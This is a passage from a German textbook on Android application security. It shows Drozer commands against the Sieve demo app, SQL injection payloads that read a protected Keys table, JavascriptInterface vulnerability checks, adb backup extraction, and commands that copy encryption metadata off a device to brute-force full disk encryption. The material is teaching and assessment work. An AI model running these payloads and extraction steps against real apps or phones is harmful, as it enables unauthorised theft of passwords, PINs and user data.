vor unberechtigtem Zugriff geschützt sein sollen.<br />
Neben den öffentlich exportierten Activities gibt es auch noch solche, die nur<br />
applikationsintern zugänglich sind und in Codebeispiel 4–16 als Hidden Activities<br />
angezeigt werden. Diese kann man jedoch über die Android-Shell und den<br />
ActivityManager manuell aufrufen, sobald man im Besitz von Root-Rechten ist.<br />
Kennt man die Applikation etwas genauer, so weiß man, dass sie in den Einstellungen<br />
die Möglichkeit bietet, alle Passwörter und Nutzerkonten auf die SD-<br />
Karte zu exportieren. Ein weiterer Angriffsvektor könnte daher sein, diese Activity<br />
zu erreichen, um dort das Backup anzustoßen und dann die extrahierten<br />
Daten auf der frei zugänglichen SD-Karte zu analysieren. Dies können wir mit<br />
folgendem Aufruf des ActivityManager erreichen:
86 4 Sicherheitsprobleme bei Android-Applikationen<br />
root@hammerhead:/ # am start -n com.mwr.example.sieve/.SettingsActivity<br />
Starting: Intent { cmp=com.mwr.example.sieve/.SettingsActivity }<br />
Starting: Intent { act=android.intent.action.VIEW dat=Starting: cmp=com.mwr.<br />
example.sieve/.SettingsActivity }<br />
Codebeispiel 4–18: Aufruf einer Hidden Activity mit dem Android-ActivityManager<br />
Diese beiden gezeigten Angriffe auf Sieve sind kein Einzelfall und daher sollte<br />
man diese Angriffsvektoren immer berücksichtigen. Ein weiteres Beispiel hierfür<br />
ist die von Curesec gefundene CVE-2013-627110 , die den Sperrbildschirm eines<br />
Samsung-Smartphones durch einen ähnlichen Angriff umgehen konnte.<br />
4.4 Exportierte Content Provider und SQL-Injections<br />
erkennen und ausnutzen<br />
Content Provider sind wie die zuvor erwähnten Activities eine wichtige Komponente<br />
der Android-Applikationen. Über sie werden Zugriffe von anderen Applikationen<br />
oder externen Paketen auf die eigenen Daten geregelt – also auf eine<br />
der sensibelsten Stellen innerhalb der Applikation. In den meisten Fällen sind<br />
mit diesen Content Providern direkt SQLite-Datenbanken verbunden, was nicht<br />
sonderlich verwunderlich ist, da dies bei Android-Applikationen eine der häufigsten<br />
Techniken ist, um Daten zu verwalten, und die Funktionen einer Datenbank<br />
identisch zu denen eines Content Providers sind: Beide unterstützen Methoden<br />
wie z. B. INSERT, UPDATE, DELETE oder QUERY.<br />
Bei diesen Komponenten wurde in den vergangenen Jahren oft mit fehlender<br />
Sorgfalt gearbeitet und eine Vielzahl an verwundbaren Applikationen waren<br />
die Folge. Das Problem lag bis API-Version 17 darin, dass standardmäßig alle<br />
Content Provider öffentlich waren und somit nicht vor unberechtigtem Zugriff<br />
geschützt. Google hat aus den hohen Zahlen an angreifbaren Applikationen gelernt<br />
und nun die Content Provider standardmäßig so geschützt, dass ein Zugriff<br />
ohne entsprechende Rechte nicht mehr möglich ist. Trotz allem ist dies immer<br />
noch ein guter Angriffsvektor, da zum einen einige Applikationen immer noch<br />
für ein API-Level gebaut werden, bei der dieser Schutz noch nicht vorhanden ist,<br />
und man zum anderen auch absichtlich exportierte Content Provider findet, die<br />
unzureichend geschützt sind.<br />
Betrachten wir wieder die Demo-Applikation und das Codebeispiel 4–15, so<br />
sehen wir, dass auch hier zwei Content Provider exportiert werden. Wie wir schon<br />
zuvor gesehen haben, können wir Drozer nutzen, um weitere Details zu den potenziell<br />
angreifbaren Content Provider zu erhalten.<br />
10 https://blog.curesec.com/article/blog/<br />
CVE-2013-6271-Remove-Device-Locks-from-Android-Phone-26.html
4.4 Exportierte Content Provider und SQL-Injections ... 87<br />
dz> run app.provider.info -a com.mwr.example.sieve -u<br />
Package: com.mwr.example.sieve<br />
Exported Providers:<br />
Authority: com.mwr.example.sieve.DBContentProvider<br />
Read Permission: null<br />
Write Permission: null<br />
Content Provider: com.mwr.example.sieve.DBContentProvider<br />
Multiprocess Allowed: True<br />
Grant Uri Permissions: False<br />
Path Permissions:<br />
Path: /Keys<br />
Type: PATTERN_LITERAL<br />
Read Permission: com.mwr.example.sieve.READ_KEYS<br />
Write Permission: com.mwr.example.sieve.WRITE_KEYS<br />
Authority: com.mwr.example.sieve.FileBackupProvider<br />
Read Permission: null<br />
Write Permission: null<br />
Content Provider: com.mwr.example.sieve.FileBackupProvider<br />
Multiprocess Allowed: True<br />
Grant Uri Permissions: False<br />
Hidden Providers:<br />
Codebeispiel 4–19: Auflistung weiterer Details zu exportierten und angreifbaren Content<br />
Providern mittels Drozer<br />
Wir sehen nun, dass es zwei Content Provider gibt, die exportiert werden (also<br />
potenziell direkt zugreifbar sind), aber keine, die versteckt sind (und somit nur mit<br />
Root-Rechten zugreifbar wären). Die Tatsache, dass es keine versteckten Provider<br />
gibt, hilft uns, da wir nun alle Angriffe auf die Applikation auch ohne Root-<br />
Rechte vornehmen können und dies gerade im Bereich der Risikobewertung eine<br />
wichtige Rolle spielt.<br />
In der Ausgabe von Codebeispiel 4–20 sehen wir weiterhin, dass beide<br />
Content Provider weder eine Berechtigung zum Lesen noch zum Schreiben<br />
auf ihre Ressource benötigen. Einzig der Provider com.mwr.example.sieve<br />
.DBContentProvider hat die Voraussetzung, dass man als zugreifender Prozess<br />
Lese- oder Schreibrechte auf /Keys besitzt. Nun kennen wir die Namen der potenziell<br />
angreifbaren Content Provider. Um jedoch eine Abfrage der dahinter versteckten<br />
Datenbanken machen zu können, benötigen wir die entsprechende URI.<br />
Diese erhalten wir durch folgendes Drozer-Modul:
88 4 Sicherheitsprobleme bei Android-Applikationen<br />
dz> run app.provider.finduri com.mwr.example.sieve<br />
Scanning com.mwr.example.sieve...<br />
content://com.mwr.example.sieve.DBContentProvider/<br />
content://com.mwr.example.sieve.FileBackupProvider/<br />
content://com.mwr.example.sieve.DBContentProvider<br />
content://com.mwr.example.sieve.DBContentProvider/Passwords/<br />
content://com.mwr.example.sieve.DBContentProvider/Keys/<br />
content://com.mwr.example.sieve.FileBackupProvider<br />
content://com.mwr.example.sieve.DBContentProvider/Passwords<br />
content://com.mwr.example.sieve.DBContentProvider/Keys<br />
Codebeispiel 4–20: Auflistung weiterer Details zu exportierten und angreifbaren Content<br />
Providern mittels Drozer<br />
Dies sieht schon ganz vielversprechend aus und wir können von hier aus weiter in<br />
der Angriffskette gehen. Versuchen wir nun die Datenbank Keys auszulesen, erhalten<br />
wir die zuvor schon angedeutete Fehlermeldung, dass uns die entsprechenden<br />
Berechtigungen fehlen (siehe Codebeispiel 4–21). Wie in Codebeispiel 4–22<br />
jedoch zu sehen ist, haben wir keine Probleme, die viel interessantere Datenbank<br />
Passwords auszulesen.<br />
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/<br />
Keys<br />
Permission Denial: reading com.mwr.example.sieve.DBContentProvider uri<br />
content://com.mwr.example.sieve.DBContentProvider/Keys from pid=7841,<br />
uid=10075 requires com.mwr.example.sieve.READ_KEYS, or<br />
grantUriPermission()<br />
Codebeispiel 4–21: SQL-Abfrage auf die Keys-Datenbank<br />
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/<br />
Passwords<br />
| _id | service | username | password | email |<br />
| 1 | secret service | 007 | HvNARBCPtx9TAp3of (Base64-encoded) | 007@mi5.co.uk |<br />
Codebeispiel 4–22: SQL-Abfrage auf die Passwords-Datenbank<br />
Dieses Beispiel zeigt, dass exportierte Content Provider mit sensiblen Inhalten<br />
stets durch entsprechende Berechtigungen geschützt sein müssen, da sonst Angreifer<br />
leichtes Spiel bei der Exfiltration von Daten haben und – je nach Szenario –<br />
sogar noch größere Schäden anrichten können, indem sie zusätzliche Inhalte in
4.4 Exportierte Content Provider und SQL-Injections ... 89<br />
die hinterlegten Datenbanken einfügen oder dort hinterlegte Daten ändern. Des<br />
Weiteren sollte man als Entwickler nicht vergessen, dass auf einem nicht mehr<br />
vertrauenswürdigen Endgerät (z. B. nach erfolgreichem Rooting durch den Nutzer<br />
oder einen Angreifer) auch versteckte Content Provider auf diese Art und<br />
Weise ausgelesen oder manipuliert werden können.<br />
Wer mit Webapplikationen schon vertrauter ist, der weiß, dass es in diesem<br />
Zusammenhang auch weitere gängige Angriffsvektoren gibt, nämlich die SQL-<br />
Injection. SQL-Injection beschreibt eine Technik, bei der ein Angreifer SQL-<br />
Kommandos baut oder existierende Kommandos innerhalb der Applikation so<br />
verändert, dass er hierüber in der Lage ist, versteckte Daten sichtbar zu machen,<br />
zu überschreiben oder ganze Tabellen in der Datenbank zu löschen. Der Erfolg<br />
dieses Angriffs ist meist auf mangelnde Überprüfung der Nutzereingaben (engl.<br />
Input Validation) auf Applikationsebene zurückzuführen.<br />
Ähnliche Angriffe lassen sich auch auf Android gegen installierte Applikationen<br />
fahren, die wie zuvor gezeigt, einen mangelhaft geschützten Content Provider<br />
mit dahinterliegender SQLite-Datenbank besitzen.<br />
Ein guter Einstiegspunkt ist es, zu testen, ob eine bekannte URI für einen<br />
solchen Angriff anfällig ist. Am einfachsten ist dies durch Ergänzung einer erfolgreichen<br />
Anfrage um den projection-Parameter mit einem einfachen ’. Der<br />
projection-Parameter wird normalerweise als Filter über die Datenbankspalten<br />
verwendet. Unser Test sieht also wie folgt aus:<br />
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/<br />
Passwords -- projection "'"<br />
unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT '<br />
FROM Passwords<br />
Codebeispiel 4–23: SQL-Injection-Test<br />
Wir sehen anhand der Fehlermeldung, dass auf der Codeebene keine Überprüfungen<br />
unserer Anfragen nach bestimmten Werten oder Mustern durchgeführt<br />
werden und die Anfrage direkt eine Fehlermeldung der Datenbank zur Folge hat.<br />
Grund dafür ist, dass unser Filter mit einem einfachen ’ direkt an die Datenbank<br />
durchgereicht wurde. Dies ist ein gutes Zeichen für eine erfolgreiche SQL-<br />
Injection. Versuchen wir nun also herauszufinden, welche Tabellen es noch in<br />
dieser Datenbank gibt:<br />
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/<br />
Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
90 4 Sicherheitsprobleme bei Android-Applikationen<br />
| type | name | tbl_name | rootpage | sql |<br />
| table | android_metadata | android_metadata | 3 | CREATE TABLE<br />
android_metadata (locale TEXT) |<br />
| table | Passwords | Passwords | 4 | CREATE TABLE Passwords (_id INTEGER<br />
PRIMARY KEY,service TEXT,username TEXT,password BLOB,email ) |<br />
| table | Keys | Key | 5 | CREATE TABLE Key (Password TEXT PRIMARY KEY,pin<br />
TEXT ) |<br />
Codebeispiel 4–24: SQL-Injection, um weitere Tabellennamen der Datenbank zu erhalten<br />
Wir sehen in der Ausgabe von Codebeispiel 4–24 wieder die von weiter oben<br />
bekannte Tabelle mit dem Namen Keys. Über die Content Provider hatten wir<br />
hierauf keinen Zugriff, da uns die entsprechenden Berechtigungen gefehlt haben<br />
(siehe Codebeispiel 4–21). Aber wie sieht es aus, wenn wir eine SQL-Injection<br />
über eine andere Tabelle anstoßen, für die wir die nötigen Berechtigungen besitzen?<br />
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/<br />
Passwords/ --projection "* FROM Keys;--"<br />
| Password | pin |<br />
| 12345678901234567890 | 4711 |<br />
Codebeispiel 4–25: SQL-Injection, um die Inhalte der Keys-Datenbank zu erhalten<br />
Nun haben wir auch die Inhalte der zuvor geschützten Tabelle auslesen können<br />
und kennen in diesem Fall alle PINs und Passwörter, die wir benötigen, um die<br />
Applikation über die GUI zu bedienen und an alle Daten zu kommen.<br />
Dieses Beispiel war recht einfach, aber mithilfe von Drozer und SQLmap11<br />
lassen sich diese SLQ-Injections auch finden, wenn sie deutlich komplexer sind.<br />
Dazu muss nur das Drozer-Modul auxiliary.webcontentresolver mit Angabe eines<br />
Ports gestartet werden. Mit localhost und diesem Port kann man SQLmap<br />
nun wie gewohnt verwenden oder alternativ sich im Browser manuell durch<br />
alle verfügbaren Content Provider und Möglichkeiten der SQL-Injection navigieren.<br />
Für einen guten »ersten Wurf« kann man auch die Drozer-Module<br />
scanner.provider.injection und scanner.provider.sqltables verwenden, sie versuchen,<br />
automatisiert nach SQL-Injections in Content Providern zu suchen.<br />
11 SQLmap: http://sqlmap.org/
4.5 Schwachstellen des JavascriptInterface erkennen und ausnutzen 91<br />
4.5 Schwachstellen des JavascriptInterface erkennen<br />
und ausnutzen<br />
Innerhalb von Android-Applikationen ist die Verwendung von WebView zum<br />
Anzeigen von Webseiten keine Seltenheit. Viele Applikationsentwickler möchten<br />
nicht zum Anzeigen von Webinhalten innerhalb der eigenen Applikation auf eine<br />
andere installierte Browserapplikation ausweichen, sondern dies direkt in der<br />
eigenen Applikation tun. Bis Android 4.4 war hierfür WebKit das Mittel der<br />
Wahl (seit Android 4.4 greift man auf Chromium zurück). WebView ist dabei<br />
extrem mächtig und erlaubt eine Vielzahl von Operationen, die dynamisch zur<br />
Laufzeit ausgeführt werden können. Diese Funktionen beinhalten z. B. Zugriff<br />
auf das Dateisystem, Laden von externen Plugins zum Wiedergeben von Flash-<br />
Inhalten, das Speichern von Passwörtern für Webseiten und auch das Ausführen<br />
von JavaScript. An diesen Fähigkeiten sieht man schon, dass der Entwickler hier<br />
ein hohes Maß an Sorgfalt an den Tag legen muss, um über das Einbauen der<br />
WebView-Komponenten nicht seine Applikation und deren Daten zu gefährden.<br />
Eine der extrem kritischen Funktionen der WebView-Komponente ist add-<br />
JavascriptInterface. Diese Funktion verbindet die native Java-Welt auf Android<br />
mit der JavaScript-Welt innerhalb einer Webseite. Somit ist es möglich, aus einer<br />
Webseite heraus durch den Entwickler vordefinierte Funktionen innerhalb<br />
der Applikation zu steuern. Um die Ausmaße zu verdeutlichen, stellen wir uns<br />
folgendes Beispiel vor:<br />
Ein Entwickler baut eine Applikation, die in der Lage ist, die auf dem Gerät<br />
gespeicherten SMS-Nachrichten auszulesen und sie auf einer speziellen Webseite<br />
(Backend) zu sichern. Dies macht er nicht per Upload oder Push-Funktionalität,<br />
sondern er hat im Backend JavaScript hinterlegt, das beim Ansurfen der Webseite<br />
ausgeführt wird und die SMS-Nachrichten vom Gerät abzieht.<br />
Ein weiteres Beispiel für die Verwendung dieser Funktionalität sind Werbenetzwerke.<br />
Sie verdienen ihr Geld im Wesentlichen mit Nutzern, die die angezeigte<br />
Werbung auch anklicken. Dazu ist es von Vorteil, wenn man den Nutzer sehr<br />
genau eingrenzen kann, um ihm auch genau die Werbung zu zeigen, für die er<br />
sich interessiert. Um dieses Profiling besser durchführen zu können, greifen viele<br />
der bekannten Netzwerke auf die Verbindung des Browsers bzw. der WebView<br />
mit nativen Java-Methoden zurück, um Informationen über Kontakte, Ortsdaten<br />
o. Ä. zu erhalten.<br />
Ein solches Szenario ist möglich durch Verwendung des JavascriptInterface<br />
innerhalb der WebView von Android und wird nur durch die Berechtigungen<br />
und den Java-Code der Applikation beschränkt. Neben der Möglichkeit, diese<br />
Funktionen missbräuchlich zu nutzen, gibt es jedoch auch noch das Problem, dass<br />
die Same Origin Policy (SOP) bei dieser »Brücke« nicht greift und somit extern<br />
eingebundene IFRAMES ebenso die Möglichkeit haben, Daten vom Smartphone<br />
selbst abzuziehen.
92 4 Sicherheitsprobleme bei Android-Applikationen<br />
Seinen negativen Höhepunkt hat diese Funktion in Android-Applikationen,<br />
die für Systeme mit einem API-Level kleiner als 17 gebaut sind. Hier kann man<br />
durch Reflection-Techniken jeglichen Java-Code auf dem Endgerät ausführen,<br />
egal ob dies vom Entwickler der Applikation so gedacht war oder nicht. Dies<br />
wurde in CVE-2012-6636 ausführlich beschrieben und ursprünglich von Neil<br />
Bergman12 entdeckt. Wirklich bekannt wurde es jedoch erst durch eine Studie von<br />
Werbenetzwerken und deren Verwundbarkeiten durch MWR13 . Ein solcher Angriff<br />
auf Applikationen mit eingebettetem verwundbarem SDK eines Werbenetzwerks<br />
ist schematisch in Abbildung 4–5 skizziert. Ab API-Level 17 gibt es einen<br />
Fix für dieses Problem, hier muss der Entwickler alle Funktionen der »Brücke«<br />
explizit mit @JavascriptInterface markieren.<br />
Abb. 4–5: Angriff auf ein SDK eines verwundbaren Werbenetzwerks<br />
Aus den oben beschriebenen Gründen ist es wichtig, dass man Applikationen<br />
genau auf die Verwendung von addJavascriptInterface prüft. Dies kann man auf<br />
zwei Arten machen:<br />
12 http://d3adend.org/blog/?p=314<br />
13 https://labs.mwrinfosecurity.com/blog/2013/09/24/webview-addjavascriptinterfaceremote-code-execution/
4.5 Schwachstellen des JavascriptInterface erkennen und ausnutzen 93<br />
1. Mittels des Drozer-Moduls jubax.javascript<br />
2. Mittels manueller Suche der Aufrufe innerhalb einer Applikation14<br />
Hat man in Drozer das zusätzliche Modul jubax.javascript installiert, so kann<br />
man es wie in Codebeispiel 4–26 gezeigt starten und nach potenziell verwundbaren<br />
Applikationen suchen.<br />
dz> run scanner.misc.checkjavascriptbridge<br />
Package: com.google.android.ears<br />
Package: com.qualcomm.timeservice<br />
.....<br />
Package: com.google.android.apps.docs<br />
- vulnerable to WebView.addJavascriptInterface + targetSdkVersion=14<br />
.....<br />
Codebeispiel 4–26: Aufspüren des JavascriptInterface innerhalb einer Applikation mittels<br />
Drozer<br />
Per Kommandozeile kann man das Vorhandensein des JavascriptInterface wie<br />
folgt testen (der zweite Befehl sucht dabei nach Vorhandensein des Javascript-<br />
Interface-Markers, der auf ein API-Level größer als 17 hinweist):<br />
$ grep -r -n -i --include=*.java addJavascriptInterface *<br />
$ grep -r -i --include=*.java \@JavascriptInterface *<br />
Codebeispiel 4–27: Aufspüren des JavascriptInterface innerhalb einer Applikation mittels<br />
Kommandozeile<br />
Die mittels dieser beiden Methoden gefundenen Codeabschnitte sollten im Rahmen<br />
von Assessments immer sehr kritisch geprüft werden, um Schwachstellen<br />
darin auszuschließen, da diese in Verbindung mit MitM-Angriffen (wie wir sie in<br />
Abschnitt 9.2 noch kennenlernen werden) äußerst kritisch sind.<br />
14 Für die manuelle Suche per Kommandozeile ist es wichtig, dass der Sourcecode der<br />
Applikation zuvor durch Tools wie in Kapitel 3 beschrieben zurück in Java-Klassen dekompiliert<br />
wurde.
94 4 Sicherheitsprobleme bei Android-Applikationen<br />
4.6 Ungewollten Datenabfluss durch Verwendung<br />
der Backup-Funktion erkennen<br />
Wie wir in Abschnitt 4.7 noch deutlich ausführlicher sehen werden, ist die forensische<br />
Untersuchung von Daten, auf die eine Applikation zugreift, immens<br />
wichtig. Nun gibt es aber nicht nur Gefahren durch Angreifer mit privilegierten<br />
Rechten (z. B. Root-Rechte), vor denen sich die Entwickler von Applikationen<br />
schützen müssen, sondern auch eingebaute Features, die ungewollt für Probleme<br />
mit der Vertraulichkeit der Daten sorgen können.<br />
Eines dieser Features ist das Backup. Android erlaubt es jedem Applikationsentwickler,<br />
frei zu definieren, ob er es zulassen möchte, seine Applikation und<br />
deren Daten über den Backup-Prozess zu sichern, oder nicht. Dabei sind die folgenden<br />
Punkte zu beachten:<br />
1. Zum Ausführen eines Backups sind keine privilegierten Rechte notwendig, es<br />
reicht der Zugriff über die adb-Schnittstelle.<br />
2. Das Backup erfolgt auf ein System, auf dem die Sandboxen und Restriktionen<br />
von Android u. U. nicht mehr gelten.<br />
Das Backup einer Applikation mitsamt ihren Daten können wir per adb backup<br />
-apk -shared anstoßen. Im Anschluss öffnet sich auf dem Smartphone<br />
eine Applikation (siehe Abbildung 4–6), die noch nach einem Passwort<br />
fragt, mit dem das Backup geschützt werden kann. Die Angabe eines Passwortes<br />
ist dabei freiwillig.<br />
Abb. 4–6: Android-Backup-Applikation
4.7 Spurensuche im Dateisystem 95<br />
Nach einem erfolgreichen Backup erhalten wir eine Datei namens backup.ab<br />
mit allen Daten, die vom Gerät gesichert wurden. Diese Datei lässt sich mithilfe<br />
des Android Backup Extractor15 extrahieren und im Anschluss können alle<br />
enthaltenen Dateien wie gewohnt analysiert werden.<br />
Dies bedeutet also im Klartext: Wenn eine Applikation in einer ihrer Datenbanken<br />
sensible Daten verwaltet, so sind diese auf einem vertrauenswürdigen<br />
Gerät zwar durch die Sandbox der Applikation geschützt, werden aber komplett<br />
schutzlos, sobald die Applikation mitsamt ihren Daten per adb backup auf den<br />
Rechner des Analysten oder Angreifers gesichert wurde. Aus diesem Grund empfiehlt<br />
es sich, das Backup von Applikationen mit sensiblen Daten im Android-<br />
Manifest per android:allowBackup="false" zu verbieten (wie in Codebeispiel 4–28<br />
gezeigt).<br />
<br />
<br />
<br />
96 4 Sicherheitsprobleme bei Android-Applikationen<br />
es darum geht, festzustellen, ob eine Applikation auch wirklich die sensiblen Daten<br />
verschlüsselt oder besonders schützt. Handelt es sich bei den Applikationen<br />
um Firmen-Applikationen, sind deren Daten natürlich auch für Angreifer sehr<br />
gefragt, dies ist ein weiterer Punkt, weshalb man hier genau hinschauen muss.<br />
Zu Beginn schauen wir uns noch kurz an, wie Android selbst seinen Speicher<br />
verschlüsselt. Dies kann dann wichtig werden, wenn man Applikationen und Daten<br />
auf einem Smartphone auswerten möchte, bei dem man die Bildschirmsperre<br />
selbst nicht deaktivieren oder umgehen kann, oder vor hat, direkt auf einem Abbild<br />
des Speichers zu arbeiten. Nachfolgend sehen Sie, wie man den Code für die<br />
Bildschirmsperre berechnen kann, und im Anschluss erfahren Sie, wo sich interessante<br />
Daten finden lassen und wo man als Sicherheitsanalyst immer mal einen<br />
Blick hineinwerfen sollte.<br />
4.7.1 Die Vollverschlüsselung knacken<br />
Full Disk Encryption (FDE), auch Vollverschlüsselung genannt, wurde in Android<br />
3.0 eingeführt und bis Version 4.4 nur unwesentlich verändert. Das Prinzip<br />
dieser Verschlüsselung beruht auf dmcrypt und wird lediglich auf die data-<br />
Partition mit den Nutzerdaten angewendet. Diese Verschlüsselung ist transparent,<br />
was bedeutet, dass jede Schreiboperation automatisch die Verschlüsselung<br />
der Daten beinhaltet und im Gegenzug auch jede Leseoperation die Entschlüsselung<br />
der Daten automatisch im Hintergrund durchführt, bevor die Daten an<br />
die Applikation weitergegeben werden. Der Schlüssel (128 Bit) wird zufällig erzeugt<br />
und durch das Screenlock-Passwort geschützt. Im Speziellen wird bei diesen<br />
Android-Versionen AES CBC mit ESSIV:SHA256 verwendet.<br />
Android benutzt einen sogenannten Crypto Footer, um wichtige Parameter<br />
für die Verschlüsselung zu speichern. Dieser Bereich ist sehr ähnlich zu dem<br />
Partitions-Header, der von LUKS (Linux Unified Key Setup) verwendet wird,<br />
wurde aber wie so einiges bei Android auf wesentliche Werte und Funktionen<br />
beschränkt. Die wichtigsten Unterschiede sind hierbei:<br />
■<br />
■<br />
■<br />
LUKS unterstützt mehrere Passwörter für die Entschlüsselung der Partition,<br />
wohingegen Android nur ein einziges Passwort im Crypto Footer speichern<br />
kann.<br />
LUKS teilt den Schlüssel in mehrere Fragmente auf, um die Wahrscheinlichkeit<br />
zu reduzieren, dass man den gesamten Schlüssel im Speicher finden kann.<br />
Dies wird bei Android nicht unterstützt.<br />
LUKS besitzt zu dem abgelegten Schlüssel auch eine Prüfsumme, die es erlaubt,<br />
den eingegebenen Schlüssel zu verifizieren, ohne die Nutzerpartition zu<br />
entschlüsseln. Android hingegen versucht bei jeder Eingabe die Partition zu<br />
entschlüsseln und verifiziert damit das Passwort nur indirekt.<br />
Die Struktur des Crypto Footer beinhaltet neben einigen eher unwichtigen Parametern<br />
auch die folgenden wichtigen Daten: FDE-Schema-Version, Schlüssellän-
4.7 Spurensuche im Dateisystem 97<br />
ge sowie den eingesetzten Verschlüsselungsalgorithmus (aes-cbc-essiv:sha256).<br />
Direkt angrenzend an den Crypto Footer befinden sich der verschlüsselte Schlüssel<br />
und ein 16-Bit-Salt, das für die Verschlüsselung ebenfalls notwendig ist.<br />
Diese Art der Verschlüsselung ist im Allgemeinen sehr gut, obwohl sie komplett<br />
in Software implementiert ist. Aber leider gilt dies auch nur so lange, wie<br />
ein entsprechend komplexes Passwort vom Nutzer gewählt wurde. Obwohl der<br />
von Android verwendete Key-Derivation-Algorithmus (PBKDF2) dafür ausgelegt<br />
wurde, mit Passwörtern niedriger Komplexität und niedriger Entropie zu funktionieren,<br />
sind die verwendeten 2.000 Iterationen zum Ableiten des Schlüssels keine<br />
wirkliche Herausforderung mit aktueller Hardware.<br />
Da selbst aktuelle Android-Endgeräte nicht sehr leistungsfähig sind – verglichen<br />
mit PCs –, werden wir im Folgenden zeigen, wie man alle nötigen Werte<br />
vom Smartphone erhält, um so den Brute-Force-Angriff auf die Verschlüsselung<br />
des Gerätes auszuführen. Der erste Schritt dabei ist, die Partition zu finden, die<br />
den Crypto Footer gespeichert hat. Dazu suchen wir mithilfe von fstab nach einer<br />
Partition, die encryptable als Eigenschaft enthält. Auf einem Galaxy Nexus<br />
ist dies die Partition mit dem Namen metadata, wie auch im Folgenden zu sehen<br />
ist:<br />
/dev/block/platform/omap/omap_hsmmc.0/by-name/userdata /data<br />
ext4 noatime,nosuid,nodev,nomblk_io_submit,errors=panic<br />
wait,check,<br />
encryptable=/dev/block/platform/omap/omap_hsmmc.0/by-name/metadata<br />
Codebeispiel 4–29: Ausgabe der Eigenschaften der Nutzerpartition mithilfe von fstab<br />
Die Partition mit dem Namen metadata und dem enthaltenen Crypto Footer kopieren<br />
wir uns nun auf den Analyserechner, da diese für den Brute-Force-Angriff<br />
immens wichtig ist. Dies geschieht mit folgendem Befehl:<br />
adb shell dd if=/dev/block/mmcblk0p13 of=tmp_footer<br />
adb pull tmp_footer<br />
Codebeispiel 4–30: Übertragung der Metadaten-Partition auf den Analyserechner<br />
Nachdem wir nun wissen, welches die Partition mit dem Crypto Footer ist, und<br />
wir uns diese kopiert haben, holen wir uns einen kleinen Bereich der Nutzer-<br />
Partition auf den Analyserechner. Wir wählen hier nur einen kleinen Ausschnitt,<br />
um die zu entschlüsselnde Datenmenge gering zu halten und so den Vorgang der<br />
Entschlüsselung zu beschleunigen. Dazu geben wir Folgendes ein:
98 4 Sicherheitsprobleme bei Android-Applikationen<br />
adb shell dd if=/dev/block/mmcblk0p12 of=tmp_header bs=512 count=1<br />
adb pull tmp_header<br />
Codebeispiel 4–31: Übertragung der ersten 512 Byte der Nutzerdaten auf den Analyserechner<br />
Nun sind wir in Besitz aller Daten, die für einen erfolgreichen Angriff nötig sind.<br />
Den eigentlichen Angriff können wir nun entweder mithilfe von Hashcat oder<br />
einem Python-Skript von Thomas Cannon und Seyton Bradford ausführen. Da<br />
wir an anderer Stelle Hashcat verwenden werden, wollen wir uns hier anschauen,<br />
wie einfach es mit dem Python-Skript16 funktioniert. Dazu reicht der Aufruf des<br />
folgenden Befehls:<br />
python crypto_footer.py tmp_header tmp_footer (maximale PIN-Länge)<br />
Codebeispiel 4–32: Brute-Force-Angriff mithilfe der zuvor beschafften Daten<br />
Wurde das Endgerät statt mit einer PIN mit einem realen Passwort geschützt, so<br />
bleibt nur der Angriff mithilfe von Hashcat als Alternative, da das zuvor erwähnte<br />
Skript zum aktuellen Zeitpunkt nur PINs unterstützt.<br />
Exkurs: Zeiten eines Brute-Force-Angriffs bei Verwendung von PBKDF2<br />
Nach einer Studie von Nikolay Elenkov ist ein recht aktuelles Notebook mit einer<br />
NVIDIA GeForce 730M-Grafikkarte in der Lage, knapp 20.000 PBKDF2-Hashes pro<br />
Sekunde zu berechnen. Nimmt man diese Werte als Referenz, so kann man auf<br />
einem solchen Notebook 6-stellige PINs in unter 10 Sekunden berechnen und selbst<br />
6-stellige Passwörter (nur Kleinbuchstaben) lassen sich hiermit in knapp 4 Stunden<br />
berechnen.<br />
Die im Exkurs beschriebenen Angriffszeiten haben auch Google dazu bewogen,<br />
sich von PBKDF2 zu verabschieden. Seit Android 4.4 verwendet das System nun<br />
scrypt, um die Schlüssel abzuleiten. Der Vorteil bei diesem neuen Algorithmus/<br />
Verfahren liegt darin, dass es große Mengen an Speicher benötigt und so nicht<br />
mehr performant auf einer Grafikkarte ausgeführt werden kann. Trotzdem kann<br />
man zum Knacken dieser Verschlüsselung den zuvor beschriebenen Ansatz in<br />
identischer Art und Weise verwenden – der Angriff dauert jedoch deutlich länger.<br />
4.7.2 Die Bildschirmsperre angreifen<br />
Viele Android-Smartphones sind vor unberechtigtem Zugriff mit einer Bildschirmsperre<br />
geschützt. Im Wesentlichen gibt es die folgenden fünf Arten, wie<br />
16 FDE: Script für einen Brute-Force-Angriff: https://github.com/santoku/<br />
Santoku-Linux/blob/master/tools/android/android_bruteforce_stdcrypto
4.7 Spurensuche im Dateisystem 99<br />
man das Smartphone schützen kann, wobei nur die Techniken 2 bis 5 einen echten<br />
Schutz bieten:<br />
1. Gesichtserkennung<br />
2. Muster<br />
3. PIN<br />
4. Passwort<br />
5. Fingerabdruck<br />
Nachfolgend soll gezeigt werden, wie man die Bildschirmsperre per Muster (engl.<br />
Pattern oder Gesture) sowie per PIN/Passwort umgehen kann, indem man berechnet,<br />
wie die Nutzereingabe aussehen muss. Ist dies beim Pattern u. U. noch nicht<br />
verständlich, warum man dieses Muster berechnet, obwohl man als Analyst oder<br />
Angreifer den Zugriff auf das Dateisystem schon hat, wird es umso deutlicher bei<br />
den Schutzmechanismen PIN und Passwort: Benutzer von Smartphones sind sehr<br />
stark auf die Benutzbarkeit (engl. Usability) der Geräte ausgerichtet. Dies hat oft<br />
zur Folge, dass alle PINs oder Passwörter auf dem Smartphone identisch sind.<br />
Hat man also mehrere Apps auf dem Gerät, die per PIN geschützt sind, so ist es<br />
ein guter Ansatz, die PIN für die Bildschirmsperre zu berechnen und das Ergebnis<br />
bei den anderen Applikationen zu testen, um dort den Schutz zu umgehen.<br />
Beginnen wollen wir mit der Berechnung des Musters, im Anschluss schauen<br />
wir uns auch an, wie man PIN- und Passwortschutz umgeht. Da Android PIN und<br />
Passwort identisch behandelt, ist der Angriff darauf auch identisch. Lediglich der<br />
Nutzer bekommt hier optisch eine andere Eingabemaske angezeigt.<br />
Die Bildschirmsperre per Muster angreifen<br />
